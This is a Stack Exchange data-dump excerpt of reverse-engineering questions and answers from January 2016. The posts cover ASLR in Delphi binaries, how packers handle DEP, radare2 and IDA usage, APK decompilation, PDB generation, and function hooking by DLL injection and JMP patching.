  <row Id="11709" PostTypeId="2" ParentId="11695" CreationDate="2016-01-06T22:38:21.977" Score="0" Body="&lt;p&gt;The paper &quot;Recovery of Jump Table Case Statements from Binary Code&quot; by Cristina Cifuentes and Mike Van Emmerik (&lt;em&gt;Proceedings of the 7th International Workshop on Program Comprehension&lt;/em&gt;, 1999) discusses this issue in some detail.  It's an interesting read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a reverse engineering perspective, it can also be useful to understand how compilers typically map switch statements to machine code (they don't always get mapped to a single jump table).  The paper &quot;Producing good code for the case statement&quot; by Robert Bernstein (&lt;em&gt;Software: Practice and Experience&lt;/em&gt;, Oct. 1985) discusses this in some detail.&lt;/p&gt;&#xA;" OwnerUserId="2303" LastActivityDate="2016-01-06T22:38:21.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11710" PostTypeId="1" CreationDate="2016-01-07T07:03:22.010" Score="5" ViewCount="912" Body="&lt;p&gt;Even a minimal console Delphi program that has &lt;code&gt;IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE&lt;/code&gt; set in its PE image does not use ASLR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;GetProcessMitigationPolicy()&lt;/code&gt; returns a &lt;code&gt;PROCESS_MITIGATION_ASLR_POLICY&lt;/code&gt; of 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consequently ProcessHacker (which uses this function) reports the process for this Delphi program to have ASLR disabled -- go into the process details window of ProcessHacker to see the ASLR status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can provide a minimal compiled Delphi program if that helps. I haven't been able to find out why ASLR is not activated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;Relocation information is part of the executable. After even more debugging I found out that Delphi's delay loading code for functions imported from DLLs is the culprit. I'll precise the question when I have more information or a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit2:&lt;/strong&gt;&#xA;I posted the executables as attachment in the following forum, since I found no way to attach anything here:&#xA;&lt;a href=&quot;http://wj32.org/processhacker/forums/viewtopic.php?p=6887#p6887&quot; rel=&quot;noreferrer&quot;&gt;http://wj32.org/processhacker/forums/viewtopic.php?p=6887#p6887&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14630" LastEditorUserId="14630" LastEditDate="2016-01-08T19:06:20.623" LastActivityDate="2023-01-12T06:08:16.117" Title="Why is ASLR not activated though IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE is set?" Tags="|windows|pe|windows-8|delphi|processhacker|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11712" PostTypeId="1" AcceptedAnswerId="11714" CreationDate="2016-01-07T10:50:01.333" Score="5" ViewCount="327" Body="&lt;p&gt;Modern operating systems have memory protections such as Data Execution Prevention, No Execute bit for Data, Read-only bit for text/code sections etc.&#xA;I don't understand how packers work when these memory protections are in place.&#xA;Where do the packers unpack the compressed/encrypted binaries when the code pages are marked Read-Only and data pages are marked for No Execute?&lt;/p&gt;&#xA;" OwnerUserId="14632" LastEditorUserId="10027" LastEditDate="2016-01-07T12:01:19.813" LastActivityDate="2016-01-08T10:54:50.573" Title="How can packers work despite mechanisms like Data Execution Prevention?" Tags="|packers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11713" PostTypeId="2" ParentId="6052" CreationDate="2016-01-07T11:22:13.633" Score="2" Body="&lt;p&gt;This is a good question, and I would argue there is no 100% safe method to patch a running windows process, unless you actively debug it, and even then there are probably edge cases.  You could eliminate many potential problems, but I feel that potential threading problems couldn't be entirely eliminated for generic purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This leaves a couple practical options in my opinion:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.)  Suspend the process, patch your code, and resume execution.  Either all threads are suspended or they aren't, this is easily detectable if you have the rights to patch the process to begin with. This is my preferred method, though anti-debug measures based on timers as well as defensive hooks can detect this.  Overall though I'd say it's quite dependable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.)  Know your target well and don't depend upon &quot;generic&quot; one-size-fits-all patching techniques.  You should know beforehand whether or not multi-threading is going to hamper a particular patch at a particular address for a specific target, and how feasible it will be to perform reliable realtime patching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know or suspect that your target code is threaded, find the synchronization method used (locks, mutexes, interlocked operations, etc.) and begin your patch from thread-safe code, ideally after forcing temporary thread contention/deadlock to prevent execution while patching.  Reliably doing this will likely be very target specific and therefore require at least a tiny bit of fairly intimate knowledge of your target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most important of all:  Know which instructions on your current hardware are atomic.  Without this knowledge to start with you can't possibly create an atomic patch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You then have the problem of making a series of atomic writes (of atomic instructions) such that execution mid-patch doesn't crash/hang/alter execution in unintended ways.  This is not a trivial problem to solve.  Suspend the process and play it safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:  I just realized that I took the bait and answered in a way that only considered hooking, i.e patching, even though your question specifically asks how to change code flow atomically during execution.  Proper DLL injection should allow you to do this pretty reliably in most cases, though like always it's never a sure thing when you are modifying a running process.&lt;/p&gt;&#xA;" OwnerUserId="14633" LastEditorUserId="14633" LastEditDate="2016-01-07T12:34:33.877" LastActivityDate="2016-01-07T12:34:33.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11714" PostTypeId="2" ParentId="11712" CreationDate="2016-01-07T11:27:16.493" Score="10" Body="&lt;p&gt;The unpacker will request a page of memory from the OS that is marked write and unpack the code into there. Once the unpacking is done it will use &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa366898%28v=vs.85%29.aspx&quot;&gt;VirtualProtect&lt;/a&gt; on windows or &lt;a href=&quot;http://man7.org/linux/man-pages/man2/mprotect.2.html&quot;&gt;mprotect&lt;/a&gt; on posix compliant systems to change the protection bits to read-only and execute (or allocate the page as read-write+execute in the first place and skip making it read+execute-only).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words the application gets enough control over the protection bits to do run-time code generation.&lt;/p&gt;&#xA;" OwnerUserId="14025" LastEditorUserId="14025" LastEditDate="2016-01-08T10:54:50.573" LastActivityDate="2016-01-08T10:54:50.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11715" PostTypeId="1" AcceptedAnswerId="11722" CreationDate="2016-01-07T12:36:18.573" Score="3" ViewCount="1238" Body="&lt;p&gt;I really like radare2 and I am trying to follow a tutorial in which some code is changed to data. The tutorial uses IDA, I have tryed this with radare2. I entered visual mode by pressing &lt;code&gt;V&lt;/code&gt; and cursor mode by pressing &lt;code&gt;c&lt;/code&gt;. I stepped to the code which I want to modify.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           0x00400440   *  31ed           xorl %ebp, %ebp             ; [12] va=0x00400440 pa=0x00000440 sz=386 vsz= &#xA;|           0x00400442      4989d1         movq %rdx, %r9  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After pressing &lt;code&gt;dd&lt;/code&gt; the following output appeared:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00400440 hex length=175 delta=0                                                                         &#xA;0x00400440 |31ed 4989 d15e 4889 e248 83e4 f050 5449| 1.I..^H..H...PTI                                                 &#xA;0x00400450 |c7c0 c005 4000 48c7 c150 0540 0048 c7c7| ....@.H..P.@.H..                                                 &#xA;0x00400460 |3605 4000 e8b7 ffff fff4 660f 1f44 0000| 6.@.......f..D..                                                 &#xA;0x00400470 |b847 1060 0055 482d 4010 6000 4883 f80e| .G.`.UH-@.`.H...                                                 &#xA;0x00400480 |4889 e576 1bb8 0000 0000 4885 c074 115d| H..v......H..t.]                                                 &#xA;0x00400490 |bf40 1060 00ff e066 0f1f 8400 0000 0000| .@.`...f........                                                 &#xA;0x004004a0 |5dc3 0f1f 4000 662e 0f1f 8400 0000 0000| ]...@.f.........                                                 &#xA;0x004004b0 |be40 1060 0055 4881 ee40 1060 0048 c1fe| .@.`.UH..@.`.H..                                                 &#xA;0x004004c0 |0348 89e5 4889 f048 c1e8 3f48 01c6 48d1| .H..H..H..?H..H.                                                 &#xA;0x004004d0 |fe74 15b8 0000 0000 4885 c074 0b5d bf40| .t......H..t.].@                                                 &#xA;0x004004e0 |1060 00ff e00f 1f00 5dc3 660f 1f44 00  | .`......].f..D.                                                  &#xA;                                                                       ; [12] va=0x00400440 pa=0x00000440 sz=386 vsz= &#xA;            0x004004ef  ~   00803d490b20   addb %al, 0x200b493d(%rax) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pressing &lt;code&gt;dd&lt;/code&gt; again disappears. After pressing &lt;code&gt;dd&lt;/code&gt; again nothing happens. This happens with all new lines, but I think the bytes remain interpreted as code since they are disassembled. Plese show me ho can I do this in radare2. I haven't done this before in any disassembler.&lt;/p&gt;&#xA;" OwnerUserId="13970" LastActivityDate="2018-11-04T20:27:31.833" Title="Changing code to data in radare2" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11719" PostTypeId="2" ParentId="11656" CreationDate="2016-01-07T16:40:57.207" Score="1" Body="&lt;h3&gt;Basic way to do it&lt;/h3&gt;&#xA;&lt;p&gt;The concept is simple (but implementing it to protect your app from a hacker is a hassle). &lt;strong&gt;Function implementations are stored in memory and hence have a memory address&lt;/strong&gt;. That's why you can use a function pointer in your example.&lt;/p&gt;&#xA;&lt;p&gt;&lt;br&gt;In order to see if a function has been hooked, you would just :&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Save the address of the original function implementation (get the address of the function pointer using &lt;code&gt;&amp;amp;orig_SSLHandshake&lt;/code&gt;). The implementation are all loaded in memory when the app calls the first &lt;code&gt;ApplicationDelegate&lt;/code&gt; method.&lt;/li&gt;&#xA;&lt;li&gt;Each time you need it, compare the address of the current implementation with the original address you stored.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;If you do not care about being hooked from the outside, then this solution may satisfy you.&lt;/p&gt;&#xA;&lt;h3&gt;Protecting your app against hooking done by an attacker&lt;/h3&gt;&#xA;&lt;p&gt;Here I assume you want to protect your app against a function hook done by a hacker (and not hook the function yourself).&lt;/p&gt;&#xA;&lt;p&gt;One of the easiest ways to hook functions in iOS is using MobileSubstrate. It can hook function implementations early in the application launching process (already hooked when in &lt;code&gt;application:didFinishLaunching...&lt;/code&gt;), so that when you would try to get the address of your original function (&lt;code&gt;&amp;amp; originalFunction&lt;/code&gt;) you would in fact get the address of the hooked function. You would never be able to get the address of the original one.&lt;/p&gt;&#xA;&lt;p&gt;Because function hooking can happen very early in the application launching process, you would have to use some tricks.&lt;/p&gt;&#xA;&lt;p&gt;Basically, you would verify that the implementation you want to store as the &lt;em&gt;original&lt;/em&gt; function is really the original one. &lt;br&gt; You could decide to have some global variables (despite it is not a good programming style) and make your original function perform some operations on them and output an expected value.&lt;br&gt;&#xA;Then if an attacker has already hooked your function, you would know it (after having called your function) because it would not produce the expected output on the global variable. &lt;em&gt;You may add an extra parameter to your function for these checks&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;However, it is important to note that a hacker have access to both your original function implementation and the arguments you pass when trying to call that function.&lt;br&gt;&#xA;Hence, although the previous solution makes the verification secure in cases where the attacker does not call your original function (with the expected arguments), it does not help if he calls your function before or after having done his own modifications.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;void hookedImplementation (type1 arg1, type2 arg2){&#xA;    // ... the hacker does stuffs&#xA;    &#xA;    // he calls your original function with the arguments you passed.&#xA;    originalFunction(arg1,arg2);&#xA;    &#xA;    // .. other hooking&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In regards of all this, my only reply is that you cannot be 100% sure that your original function has not been hooked by an attacker. However, you may discourage most hackers, and maybe &lt;em&gt;that&lt;/em&gt; is sufficient for your case. &lt;br&gt;&#xA;&lt;em&gt;Just be councious about that if you work in the IT department of a worldwide bank institute (since it would then matter).&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="14012" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2016-01-07T21:46:39.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11720" PostTypeId="2" ParentId="2703" CreationDate="2016-01-07T21:58:14.313" Score="3" Body="&lt;p&gt;&lt;strong&gt;Steps to Reverse Engineer an APK&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use an APK Extractor tool to filter out the APK file.&lt;/li&gt;&#xA;&lt;li&gt;Create a new directory and copy the APK file there.&lt;/li&gt;&#xA;&lt;li&gt;Change the extension of the file from .apk to .zip &lt;/li&gt;&#xA;&lt;li&gt;Unzip the file.&lt;/li&gt;&#xA;&lt;li&gt;Download dex2jar from &lt;a href=&quot;http://sourceforge.net/projects/dex2jar/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/dex2jar/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Extract the file into the same directory and copy the classes.dex file      from the .zip file into the extracted file.&lt;/li&gt;&#xA;&lt;li&gt;Use terminal or command prompt to navigate the directory and type sh d2j-dex2jar.sh classes.dex&lt;/li&gt;&#xA;&lt;li&gt;You will have a folder containing the source code &lt;/li&gt;&#xA;&lt;li&gt;List item&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14639" LastActivityDate="2016-01-07T21:58:14.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11722" PostTypeId="2" ParentId="11715" CreationDate="2016-01-08T10:53:35.377" Score="5" Body="&lt;p&gt;Use &lt;code&gt;Cd&lt;/code&gt; command for that:&#xA;&lt;code&gt;Cd[-] [size] [@addr] Hexdump data&lt;/code&gt;&#xA;It will mark the selected block as a data.&lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2016-01-08T10:53:35.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11723" PostTypeId="1" CreationDate="2016-01-08T14:20:35.010" Score="3" ViewCount="1286" Body="&lt;p&gt;I'm writing a plugin for IDA PRO with IDAPython and I need to make a dump of the full disassembled code with offsets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can export a html file and then parse it but I cannot call the GenerateFile function with the GENFLG_GENHTML flag from the script since that function only works from the gui &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idc.GenerateFile(OFILE_LST, idc.GetInputFile()+'.html', 0, idc.BADADDR, GENFLG_GENHTML)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(when I run the plugin it gives me unhandled exception but if I write the same instruction from the IDA command line it works).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can extract the .asm file but it is not useful to me because it does not contain the offsets. Are there any solutions?&lt;/p&gt;&#xA;" OwnerUserId="14651" LastActivityDate="2016-04-07T15:53:24.910" Title="IDA Pro Dump of instructions and offsets" Tags="|ida|idapython|ida-plugin|plugin|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11724" PostTypeId="2" ParentId="11723" CreationDate="2016-01-08T14:26:41.993" Score="1" Body="&lt;p&gt;You're currently passing a string as the second argument to &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/244.shtml&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;GenerateFile()&lt;/code&gt;&lt;/a&gt;, but the second argument needs to be a file handle.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-01-08T14:26:41.993" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="11725" PostTypeId="1" AcceptedAnswerId="12118" CreationDate="2016-01-09T00:27:22.983" Score="2" ViewCount="660" Body="&lt;p&gt;I'm trying to disassemble this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main()&#xA;{&#xA;    int arr[5] = {1,2,3,4,5};&#xA;    int i;&#xA;    for(i=0;i&amp;lt;5;i++)&#xA;    {&#xA;        printf(&quot;Element:%d\n&quot;,arr[i]);&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;IDA output: &lt;code&gt;sub esp, 30h&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: What does it mean? I thought it would be &lt;code&gt;18h(5x4+4)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="14535" LastEditorUserId="1413" LastEditDate="2016-01-09T07:34:36.913" LastActivityDate="2016-03-01T10:53:06.977" Title="Stack and local variables" Tags="|ida|disassembly|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11726" PostTypeId="1" CreationDate="2016-01-09T01:00:24.580" Score="1" ViewCount="153" Body="&lt;p&gt;I am trying to write some code to figure out a CRC on the following byte sequence for an AI algorithm class project, and would like to seek some suggestions from this forum.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the following bytes patterns are provided:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;0f81265b6341&#xA;0f80265b63eb&#xA;0f83265b634a&#xA;0f89265b636d&#xA;&#xA;0f81265b6269&#xA;0f83265b6262&#xA;0f80265b62c3&#xA;0f89265b6245&#xA;&#xA;0f81265b594c&#xA;0f83265b5947&#xA;0f80265b59e6&#xA;&#xA;0f81265b5A34&#xA;0f83265b5A3F&#xA;0f80265b5A9E&#xA;0f89265b5A18&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am trying to make an algorithm to see which bytes are involved and also which algorithm to try to deduce the final checksum byte. The final goal is to teach a machine how to do CRC by a learning process.&lt;/p&gt;&#xA;" OwnerUserId="14656" LastEditorUserId="53" LastEditDate="2016-01-09T08:46:35.890" LastActivityDate="2016-01-09T08:46:35.890" Title="figure out the CRC bytes" Tags="|crc|" AnswerCount="0" CommentCount="4" ClosedDate="2016-01-28T06:01:58.493" ContentLicense="CC BY-SA 3.0" />
  <row Id="11727" PostTypeId="1" AcceptedAnswerId="11728" CreationDate="2016-01-09T01:45:34.557" Score="0" ViewCount="177" Body="&lt;p&gt;Is it possible to get the name and path of a DLL that is loaded by the application using PyDBG and System_dll.py? I have a script and PyDBG handles loaded dlls with just:&#xA;&lt;code&gt;dbg.set_callback(LOAD_DLL_DEBUG_EVENT, handler_print_dll_loaded)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get the loaded DLL's using tools in pydbg to return somthing similar to Immunity Debuggers &lt;code&gt;Log Data&lt;/code&gt; window:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;67EE0000   Module C:\windows\SYSTEM32\OLEPRO32.DLL&#xA; 69E20000   Module C:\windows\SYSTEM32\oledlg.dll&#xA; 6F5E0000   Module C:\windows\SYSTEM32\WINMMBASE.dll&#xA; 6F7F0000   Module C:\windows\SYSTEM32\WINMM.dll&#xA; etc...&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="14595" LastActivityDate="2016-01-09T11:38:04.223" Title="Get DLL name with PyDBG and System_dll.py?" Tags="|debugging|debuggers|dll|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11728" PostTypeId="2" ParentId="11727" CreationDate="2016-01-09T09:27:28.430" Score="3" Body="&lt;p&gt;&lt;strong&gt;:&gt;type ENUMMODS.PY&lt;/strong&gt;    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;from pydbg import * &#xA;for modules in pydbg().attach(int(sys.argv[1])).enumerate_modules():&#xA;    print modules&#xA;pydbg().detach()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;:&gt;ENUMMODS.PY&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;('calc.exe', 12517376L)&#xA;('ntdll.dll', 1999765504L)&#xA;('kernel32.dll', 1970733056L)&#xA;('KERNELBASE.dll', 1968111616L)&#xA;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&#xA;('oleacc.dll', 1836253184L)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2016-01-09T11:38:04.223" LastActivityDate="2016-01-09T11:38:04.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11729" PostTypeId="2" ParentId="11676" CreationDate="2016-01-09T17:11:34.200" Score="1" Body="&lt;p&gt;IDA Pro &lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot; rel=&quot;nofollow&quot;&gt;https://www.hex-rays.com/products/ida/&lt;/a&gt; and my blog &lt;a href=&quot;https://firebitsbr.wordpress.com/2015/09/28/list-of-pluginsscripts-for-ida-pro-both-re-malware-vulnerabilities-and-exploits/&quot; rel=&quot;nofollow&quot;&gt;https://firebitsbr.wordpress.com/2015/09/28/list-of-pluginsscripts-for-ida-pro-both-re-malware-vulnerabilities-and-exploits/&lt;/a&gt; many plugins for ida pro.&lt;/p&gt;&#xA;" OwnerUserId="11951" LastActivityDate="2016-01-09T17:11:34.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11730" PostTypeId="1" CreationDate="2016-01-09T18:01:44.233" Score="2" ViewCount="2975" Body="&lt;p&gt;Hi so I was just trying to learn reverse-engineering and when I open my program in IDA pro I find this address &lt;code&gt;sub_11330&lt;/code&gt; (rebased to 0) &lt;a href=&quot;https://gyazo.com/1c34d2c31f29583f05d0dd4d956d6f74&quot; rel=&quot;nofollow&quot;&gt;https://gyazo.com/1c34d2c31f29583f05d0dd4d956d6f74&lt;/a&gt; however when I try to hook this function the address &lt;code&gt;GetModuleHandle(NULL) + 0x11330&lt;/code&gt; doesn't work so I just tried to print the base address of the function with &lt;code&gt;std::cout &amp;lt;&amp;lt; (DWORD)callme - (DWORD)GetModuleHandle(NULL)&lt;/code&gt; and when I try this address it works (0x1128a) why can't I find it with IDA ? sorry if I wasn't clear if you can't understand what I'm trying to explain I'll re write my post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is how I'm hooking it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)&#xA;{&#xA;&#xA;    if (dwReason == DLL_PROCESS_ATTACH)&#xA;    {&#xA;        std::cout &amp;lt;&amp;lt; &quot;injected&quot; &amp;lt;&amp;lt; std::endl;&#xA;        Detour((PBYTE)GetModuleHandle(NULL) + 0x1128a, (PBYTE)&amp;amp;func);&#xA;    }&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my function detours just changes the first 5 bytes of the function and this one works i'm compiling with vs2015 in debug mode my program is a console application written in c++&lt;/p&gt;&#xA;" OwnerUserId="14658" LastEditorUserId="12872" LastEditDate="2016-01-10T04:15:38.420" LastActivityDate="2016-08-08T15:08:30.910" Title="Can't find the base address of a function with IDA PRO (compiled with vs2015)" Tags="|ida|c++|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11733" PostTypeId="2" ParentId="2703" CreationDate="2016-01-10T06:01:34.760" Score="2" Body="&lt;p&gt;Many people here aren't including the important information... If you decompile to &amp;quot;Java&amp;quot;, you will likely lose information in the process and recompiling will not work. However it is much easier to read. Here's a link:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.decompiler.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.decompiler.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you want to be able to edit the APK and recompile, use &amp;quot;ApkTool&amp;quot; and edit the SMALI code. You'll need to jar sign the APK and use zipalign before reinstalling the APK to your phone.&lt;/p&gt;&#xA;&lt;p&gt;You can also use IDA Pro to help analyze the code, however I don't know anything about IDA Pro.&lt;/p&gt;&#xA;" OwnerUserId="14661" LastEditorUserId="34452" LastEditDate="2021-12-06T05:15:17.030" LastActivityDate="2021-12-06T05:15:17.030" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="11734" PostTypeId="1" CreationDate="2016-01-10T16:49:03.977" Score="0" ViewCount="254" Body="&lt;p&gt;I know that there are many libraries that parse PDB files and allow extracting debug information from them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a project I am working on, I need to generate PDB files. Are there any publicly available libraries that can do that?&lt;/p&gt;&#xA;" OwnerUserId="12872" LastActivityDate="2016-01-10T21:13:59.460" Title="Which libraries exist for PDB (symbol file) generation?" Tags="|debugging|symbols|pdb|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11735" PostTypeId="2" ParentId="11734" CreationDate="2016-01-10T17:27:51.063" Score="2" Body="&lt;p&gt;microsoft recently released some headers in github to help the clang / llvm toolset take a look &lt;a href=&quot;https://github.com/Microsoft/microsoft-pdb&quot; rel=&quot;nofollow&quot;&gt;Microsoft Pdb Information in GitHub&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://lists.llvm.org/pipermail/cfe-dev/2015-October/045780.html&quot; rel=&quot;nofollow&quot;&gt;clang llvm codeview emission rfc mailing list thread&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2016-01-10T17:33:31.133" LastActivityDate="2016-01-10T17:33:31.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11736" PostTypeId="2" ParentId="2703" CreationDate="2016-01-10T19:25:37.280" Score="-1" Body="&lt;p&gt;Lot of tools and documentation can be found here &lt;a href=&quot;https://github.com/ashishb/android-security-awesome&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ashishb/android-security-awesome&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="3721" LastActivityDate="2016-01-10T19:25:37.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11739" PostTypeId="2" ParentId="11734" CreationDate="2016-01-10T21:13:59.460" Score="0" Body="&lt;p&gt;If you manage to produce CodeView info (which is partially documented/RE'd) or DWARF, you can try this project: &lt;a href=&quot;https://github.com/rainers/cv2pdb&quot; rel=&quot;nofollow&quot;&gt;https://github.com/rainers/cv2pdb&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-01-10T21:13:59.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11740" PostTypeId="2" ParentId="11730" CreationDate="2016-01-10T22:37:59.780" Score="-1" Body="&lt;p&gt;Forget about detours, you won't learn anything and it limits your true reversing power&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You dont need to call GetModuleInformation but I do anyways&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MODULEINFO modInfo = {0};&#xA;HMODULE hMod = GetModuleHandle(&quot;NameOfExe.exe&quot;);&#xA;if(!hMod)&#xA;{&#xA;    MessageBox(NULL, &quot;Error&quot;, &quot;Error&quot;, NULL);&#xA;}&#xA;GetModuleInformation(GetCurrentProcess(),&#xA;    hModule, &amp;amp;modInfo, sizeof(MODULEINFO));&#xA;&#xA;&#xA;DWORD addr = (DWORD)modInfo.lpBaseOfDll&#xA;    + 0x11330;&#xA;&#xA;// change this to function pointer in your code&#xA;DWORD jumpAddr = 0xFFFFFF;&#xA;&#xA;// subtract 5 because the jmp opcode is E9 followed by 4 more&#xA;// opcodes for the distance of the jump, total of 5 bytes&#xA;DWORD jumpDistance = jumpAddr - addr - 0x5; &#xA;&#xA;DWORD oldPermission = NULL;&#xA;DWORD newPermission = PAGE_EXECUTE_READWRITE;&#xA;&#xA;if (!VirtualProtect((BYTE*)addr, 0x5,&#xA;    newPermission, &amp;amp;oldPermission))&#xA;{&#xA;    MessageBox(NULL, &quot;Error&quot;, &quot;Error&quot;, NULL);&#xA;}&#xA;&#xA;*(BYTE*)(addr) = 0xE9;&#xA;*(DWORD*)(addr+1) = jumpDistance;&#xA;&#xA;if (!VirtualProtect((BYTE*)addr, 0x5,&#xA;    newPermission, &amp;amp;oldPermission))&#xA;{&#xA;    MessageBox(NULL, &quot;Error&quot;, &quot;Error&quot;, NULL);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14667" LastActivityDate="2016-01-10T22:37:59.780" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
